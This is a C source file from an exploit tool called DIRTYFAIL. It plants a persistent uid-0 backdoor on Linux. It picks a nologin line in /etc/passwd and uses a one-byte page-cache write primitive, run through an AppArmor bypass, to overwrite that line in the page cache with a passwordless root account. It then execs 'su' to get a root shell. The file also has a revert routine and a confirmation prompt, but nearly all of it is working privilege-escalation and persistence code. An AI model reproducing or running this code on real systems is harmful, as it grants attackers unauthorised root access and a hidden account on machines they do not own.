383 lines
13 KiB
C
383 lines
13 KiB
C
/*
|
|
* DIRTYFAIL — backdoor.c
|
|
*
|
|
* Persistent uid-0 backdoor via length-matched /etc/passwd line
|
|
* substitution. See backdoor.h for the design rationale.
|
|
*
|
|
* Flow:
|
|
*
|
|
* install:
|
|
* 1. parse /etc/passwd, find longest line with nologin/false/sync shell
|
|
* 2. compute replacement "dirtyfail::0:0:<pad>:/:/bin/bash" same length
|
|
* 3. snapshot state to /var/tmp/.dirtyfail.state
|
|
* 4. for each byte that differs:
|
|
* cfg_1byte_write(/etc/passwd, byte_off, new_byte)
|
|
* 5. exec su - dirtyfail (PAM nullok accepts empty password)
|
|
*
|
|
* cleanup:
|
|
* 1. read state (LINE_OFF, original VICTIM_LINE)
|
|
* 2. read current page-cache bytes at that line
|
|
* 3. for each byte that differs from VICTIM_LINE:
|
|
* cfg_1byte_write(/etc/passwd, byte_off, original_byte)
|
|
* 4. delete state file
|
|
*/
|
|
|
|
#include "backdoor.h"
|
|
#include "copyfail_gcm.h"
|
|
#include "apparmor_bypass.h"
|
|
|
|
#include <fcntl.h>
|
|
#include <pwd.h>
|
|
#include <stdlib.h>
|
|
#include <sys/stat.h>
|
|
|
|
#define STATE_FILE "/var/tmp/.dirtyfail.state"
|
|
#define NEW_USER "dirtyfail"
|
|
#define DF_PREFIX "dirtyfail::0:0:"
|
|
#define DF_SUFFIX ":/:/bin/bash"
|
|
|
|
/* ---- /etc/passwd line picker ---------------------------------------- *
|
|
*
|
|
* Walk lines, parse to find the shell field (last colon-separated
|
|
* field), accept if shell is one of the canonical "no-login" shells.
|
|
* Pick the longest acceptable line so the replacement has room for
|
|
* padding.
|
|
*/
|
|
|
|
/* Line buffer is 512 bytes — enough for any sane /etc/passwd entry,
|
|
* including ones with very long gecos strings or unusual home paths.
|
|
* Lines longer than this are silently skipped by find_victim(). */
|
|
struct victim {
|
|
off_t line_off;
|
|
size_t line_len;
|
|
char line[512];
|
|
char name[64];
|
|
};
|
|
|
|
static bool is_nologin_shell(const char *shell)
|
|
{
|
|
static const char *deny[] = {
|
|
"/usr/sbin/nologin",
|
|
"/sbin/nologin",
|
|
"/bin/false",
|
|
"/usr/bin/false",
|
|
"/bin/sync",
|
|
NULL,
|
|
};
|
|
for (size_t i = 0; deny[i]; i++)
|
|
if (strcmp(shell, deny[i]) == 0) return true;
|
|
return false;
|
|
}
|
|
|
|
static bool find_victim(struct victim *v)
|
|
{
|
|
int fd = open("/etc/passwd", O_RDONLY);
|
|
if (fd < 0) { log_bad("open /etc/passwd: %s", strerror(errno)); return false; }
|
|
struct stat st;
|
|
if (fstat(fd, &st) < 0) { close(fd); return false; }
|
|
char *buf = malloc(st.st_size + 1);
|
|
if (!buf) { close(fd); return false; }
|
|
ssize_t n = read(fd, buf, st.st_size);
|
|
close(fd);
|
|
if (n <= 0) { free(buf); return false; }
|
|
buf[n] = '\0';
|
|
|
|
bool found = false;
|
|
char *line = buf;
|
|
char *end = buf + n;
|
|
while (line < end) {
|
|
char *nl = memchr(line, '\n', end - line);
|
|
size_t len = nl ? (size_t)(nl - line) : (size_t)(end - line);
|
|
if (len == 0 || len >= sizeof(v->line)) goto next;
|
|
|
|
char tmp[512];
|
|
memcpy(tmp, line, len);
|
|
tmp[len] = '\0';
|
|
|
|
/* Last field after final ':' is the shell. */
|
|
char *shell = strrchr(tmp, ':');
|
|
if (!shell) goto next;
|
|
shell++;
|
|
if (!is_nologin_shell(shell)) goto next;
|
|
|
|
if (len > v->line_len) {
|
|
v->line_off = line - buf;
|
|
v->line_len = len;
|
|
memcpy(v->line, line, len);
|
|
v->line[len] = '\0';
|
|
char *colon = memchr(v->line, ':', len);
|
|
size_t nlen = colon ? (size_t)(colon - v->line) : len;
|
|
if (nlen >= sizeof(v->name)) nlen = sizeof(v->name) - 1;
|
|
memcpy(v->name, v->line, nlen);
|
|
v->name[nlen] = '\0';
|
|
found = true;
|
|
}
|
|
next:
|
|
if (!nl) break;
|
|
line = nl + 1;
|
|
}
|
|
free(buf);
|
|
return found;
|
|
}
|
|
|
|
/* ---- state file ----------------------------------------------------- */
|
|
|
|
static bool save_state(off_t line_off, const char *victim_line, size_t len)
|
|
{
|
|
int fd = open(STATE_FILE, O_WRONLY | O_CREAT | O_TRUNC, 0600);
|
|
if (fd < 0) { log_bad("open state: %s", strerror(errno)); return false; }
|
|
char buf[2048];
|
|
int n = snprintf(buf, sizeof(buf), "LINE_OFF=%lld\nVICTIM_LEN=%zu\nVICTIM_LINE=",
|
|
(long long)line_off, len);
|
|
bool ok = (write(fd, buf, n) == n)
|
|
&& (write(fd, victim_line, len) == (ssize_t)len)
|
|
&& (write(fd, "\n", 1) == 1);
|
|
close(fd);
|
|
if (!ok) {
|
|
log_bad("save_state write: %s", strerror(errno));
|
|
unlink(STATE_FILE);
|
|
}
|
|
return ok;
|
|
}
|
|
|
|
static bool load_state(off_t *line_off, char *victim_line, size_t cap, size_t *len)
|
|
{
|
|
int fd = open(STATE_FILE, O_RDONLY);
|
|
if (fd < 0) return false;
|
|
char buf[2048];
|
|
ssize_t n = read(fd, buf, sizeof(buf) - 1);
|
|
close(fd);
|
|
if (n <= 0) return false;
|
|
buf[n] = '\0';
|
|
|
|
char *p = strstr(buf, "LINE_OFF=");
|
|
if (!p) return false;
|
|
*line_off = (off_t)strtoll(p + 9, NULL, 10);
|
|
|
|
char *v = strstr(buf, "VICTIM_LINE=");
|
|
if (!v) return false;
|
|
v += 12;
|
|
char *end = strchr(v, '\n');
|
|
if (!end) end = buf + n;
|
|
size_t vlen = end - v;
|
|
if (vlen >= cap) return false;
|
|
memcpy(victim_line, v, vlen);
|
|
victim_line[vlen] = '\0';
|
|
*len = vlen;
|
|
return true;
|
|
}
|
|
|
|
/* Describe state file if present, for `--list-state`. Returns true if a
|
|
* backdoor state file was found and described, false if absent. */
|
|
bool backdoor_list_state(void)
|
|
{
|
|
off_t off = 0;
|
|
char victim[2048];
|
|
size_t len = 0;
|
|
if (!load_state(&off, victim, sizeof(victim), &len))
|
|
return false;
|
|
log_warn("backdoor planted — state file %s", STATE_FILE);
|
|
log_hint(" victim line was at offset %lld (%zu bytes)",
|
|
(long long)off, len);
|
|
log_hint(" original line: %s", victim);
|
|
log_hint(" the page cache currently has 'dirtyfail::0:0:...:/:/bin/bash'");
|
|
log_hint(" in place of the above. Revert with `--cleanup-backdoor`.");
|
|
return true;
|
|
}
|
|
|
|
/* ---- byte-flip helper ----------------------------------------------- *
|
|
*
|
|
* For each char position where `cur[i] != target[i]`, call the
|
|
* 1-byte primitive to land the new byte. Linear in number of
|
|
* differing bytes; on a typical /etc/passwd line that's ~30-40 flips.
|
|
*/
|
|
|
|
static bool apply_flips(off_t base_off, const char *cur, const char *want, size_t len)
|
|
{
|
|
size_t flips = 0;
|
|
for (size_t i = 0; i < len; i++) {
|
|
if (cur[i] == want[i]) continue;
|
|
if (!cfg_1byte_write("/etc/passwd",
|
|
base_off + i, (unsigned char)want[i])) {
|
|
log_bad("byte flip failed at offset %lld",
|
|
(long long)(base_off + i));
|
|
return false;
|
|
}
|
|
flips++;
|
|
if ((flips & 7) == 0) putchar('.'), fflush(stdout);
|
|
}
|
|
if (flips) putchar('\n');
|
|
log_step("applied %zu byte flips", flips);
|
|
return true;
|
|
}
|
|
|
|
/* ---- INNER (bypass userns) — does only the byte flips ------------- */
|
|
|
|
df_result_t backdoor_install_inner(void)
|
|
{
|
|
const char *off_s = getenv("DIRTYFAIL_LINE_OFF");
|
|
const char *victim_s = getenv("DIRTYFAIL_VICTIM_LINE");
|
|
const char *target_s = getenv("DIRTYFAIL_TARGET_LINE");
|
|
if (!off_s || !victim_s || !target_s) {
|
|
log_bad("inner: DIRTYFAIL_LINE_OFF / VICTIM_LINE / TARGET_LINE not set");
|
|
return DF_TEST_ERROR;
|
|
}
|
|
off_t line_off = (off_t)atoll(off_s);
|
|
size_t len = strlen(victim_s);
|
|
if (strlen(target_s) != len) {
|
|
log_bad("inner: victim/target lengths differ (%zu vs %zu)",
|
|
len, strlen(target_s));
|
|
return DF_TEST_ERROR;
|
|
}
|
|
if (!apply_flips(line_off, victim_s, target_s, len)) {
|
|
return DF_EXPLOIT_FAIL;
|
|
}
|
|
return DF_EXPLOIT_OK;
|
|
}
|
|
|
|
df_result_t backdoor_cleanup_inner(void)
|
|
{
|
|
const char *off_s = getenv("DIRTYFAIL_LINE_OFF");
|
|
const char *victim_s = getenv("DIRTYFAIL_VICTIM_LINE");
|
|
const char *target_s = getenv("DIRTYFAIL_TARGET_LINE");
|
|
if (!off_s || !victim_s || !target_s) {
|
|
log_bad("inner-cleanup: env vars not set");
|
|
return DF_TEST_ERROR;
|
|
}
|
|
off_t line_off = (off_t)atoll(off_s);
|
|
size_t len = strlen(victim_s);
|
|
if (!apply_flips(line_off, target_s, victim_s, len)) { /* reverse direction */
|
|
return DF_EXPLOIT_FAIL;
|
|
}
|
|
return DF_EXPLOIT_OK;
|
|
}
|
|
|
|
/* ---- OUTER (init ns) — find_victim, save_state, fork bypass child --- */
|
|
|
|
df_result_t backdoor_install(bool do_shell)
|
|
{
|
|
log_step("Persistent backdoor — install");
|
|
|
|
/* Did we already install? Check via getpwnam. */
|
|
struct passwd *pw = getpwnam(NEW_USER);
|
|
if (pw && pw->pw_uid == 0) {
|
|
log_ok("'%s' already in /etc/passwd as uid 0", NEW_USER);
|
|
if (!do_shell) return DF_EXPLOIT_OK;
|
|
log_ok("invoking 'su - %s'", NEW_USER);
|
|
execlp("su", "su", "-", NEW_USER, (char *)NULL);
|
|
return DF_EXPLOIT_FAIL;
|
|
}
|
|
|
|
struct victim v;
|
|
memset(&v, 0, sizeof(v));
|
|
if (!find_victim(&v)) {
|
|
log_bad("no nologin victim line found in /etc/passwd");
|
|
return DF_TEST_ERROR;
|
|
}
|
|
log_step("victim line: '%s' at offset %lld (%zu bytes)",
|
|
v.name, (long long)v.line_off, v.line_len);
|
|
|
|
/* Build replacement, same length. */
|
|
size_t fixed_len = strlen(DF_PREFIX) + strlen(DF_SUFFIX);
|
|
if (v.line_len < fixed_len) {
|
|
log_bad("victim line too short (%zu) for dirtyfail replacement (need >= %zu)",
|
|
v.line_len, fixed_len);
|
|
return DF_TEST_ERROR;
|
|
}
|
|
size_t pad_len = v.line_len - fixed_len;
|
|
char target[512];
|
|
char *p = target;
|
|
memcpy(p, DF_PREFIX, strlen(DF_PREFIX)); p += strlen(DF_PREFIX);
|
|
memset(p, 'X', pad_len); p += pad_len;
|
|
memcpy(p, DF_SUFFIX, strlen(DF_SUFFIX)); p += strlen(DF_SUFFIX);
|
|
*p = '\0';
|
|
|
|
log_step("replacement: '%s'", target);
|
|
log_warn("about to length-match overwrite '%s' → '%s' (%zu bytes)",
|
|
v.name, NEW_USER, v.line_len);
|
|
log_warn("ON-DISK /etc/passwd is unchanged. State stashed at %s.", STATE_FILE);
|
|
if (!typed_confirm("DIRTYFAIL")) { log_bad("confirmation declined"); return DF_OK; }
|
|
|
|
if (!save_state(v.line_off, v.line, v.line_len)) return DF_TEST_ERROR;
|
|
|
|
/* Hand off to inner via env vars. */
|
|
char off_str[32];
|
|
snprintf(off_str, sizeof(off_str), "%lld", (long long)v.line_off);
|
|
setenv("DIRTYFAIL_INNER_MODE", "backdoor-install", 1);
|
|
setenv("DIRTYFAIL_LINE_OFF", off_str, 1);
|
|
setenv("DIRTYFAIL_VICTIM_LINE", v.line, 1);
|
|
setenv("DIRTYFAIL_TARGET_LINE", target, 1);
|
|
|
|
int rc = apparmor_bypass_fork_arm(0, NULL);
|
|
if (rc != DF_EXPLOIT_OK) {
|
|
log_bad("inner backdoor-install failed (exit=%d)", rc);
|
|
return DF_EXPLOIT_FAIL;
|
|
}
|
|
|
|
/* Verify in init ns */
|
|
if (!(pw = getpwnam(NEW_USER)) || pw->pw_uid != 0) {
|
|
log_bad("post-flip getpwnam(%s) doesn't show uid 0 — install failed",
|
|
NEW_USER);
|
|
return DF_EXPLOIT_FAIL;
|
|
}
|
|
log_ok("'%s' is now uid 0 in the page cache copy of /etc/passwd",
|
|
NEW_USER);
|
|
log_hint("state stashed at %s — run 'dirtyfail --cleanup-backdoor' to revert",
|
|
STATE_FILE);
|
|
|
|
if (!do_shell) return DF_EXPLOIT_OK;
|
|
log_ok("invoking 'su - %s' in init ns (PAM nullok → REAL ROOT)", NEW_USER);
|
|
execlp("su", "su", "-", NEW_USER, (char *)NULL);
|
|
log_bad("execlp: %s", strerror(errno));
|
|
return DF_EXPLOIT_FAIL;
|
|
}
|
|
|
|
df_result_t backdoor_cleanup(void)
|
|
{
|
|
log_step("Persistent backdoor — cleanup");
|
|
|
|
off_t line_off = 0;
|
|
char victim_line[512];
|
|
size_t victim_len = 0;
|
|
if (!load_state(&line_off, victim_line, sizeof(victim_line), &victim_len)) {
|
|
log_bad("no usable state file at %s", STATE_FILE);
|
|
return DF_TEST_ERROR;
|
|
}
|
|
log_step("restoring %zu bytes at offset %lld", victim_len, (long long)line_off);
|
|
|
|
/* Read CURRENT bytes (post-install) so we know what to flip back from. */
|
|
int fd = open("/etc/passwd", O_RDONLY);
|
|
if (fd < 0) { log_bad("open passwd: %s", strerror(errno)); return DF_TEST_ERROR; }
|
|
char cur[512];
|
|
if (pread(fd, cur, victim_len, line_off) != (ssize_t)victim_len) {
|
|
log_bad("pread: %s", strerror(errno));
|
|
close(fd); return DF_TEST_ERROR;
|
|
}
|
|
close(fd);
|
|
cur[victim_len] = '\0';
|
|
|
|
/* Hand off to inner. inner runs apply_flips(off, target=cur, victim=victim_line)
|
|
* to flip back from current state to original. */
|
|
char off_str[32];
|
|
snprintf(off_str, sizeof(off_str), "%lld", (long long)line_off);
|
|
setenv("DIRTYFAIL_INNER_MODE", "backdoor-cleanup", 1);
|
|
setenv("DIRTYFAIL_LINE_OFF", off_str, 1);
|
|
setenv("DIRTYFAIL_VICTIM_LINE", victim_line, 1);
|
|
setenv("DIRTYFAIL_TARGET_LINE", cur, 1);
|
|
|
|
int rc = apparmor_bypass_fork_arm(0, NULL);
|
|
if (rc != DF_EXPLOIT_OK) {
|
|
log_bad("inner backdoor-cleanup failed (exit=%d)", rc);
|
|
return DF_EXPLOIT_FAIL;
|
|
}
|
|
|
|
unlink(STATE_FILE);
|
|
log_ok("backdoor cleaned — line restored, state file removed");
|
|
|
|
#ifdef POSIX_FADV_DONTNEED
|
|
int e = open("/etc/passwd", O_RDONLY);
|
|
if (e >= 0) { posix_fadvise(e, 0, 0, POSIX_FADV_DONTNEED); close(e); }
|
|
#endif
|
|
return DF_OK;
|
|
}
|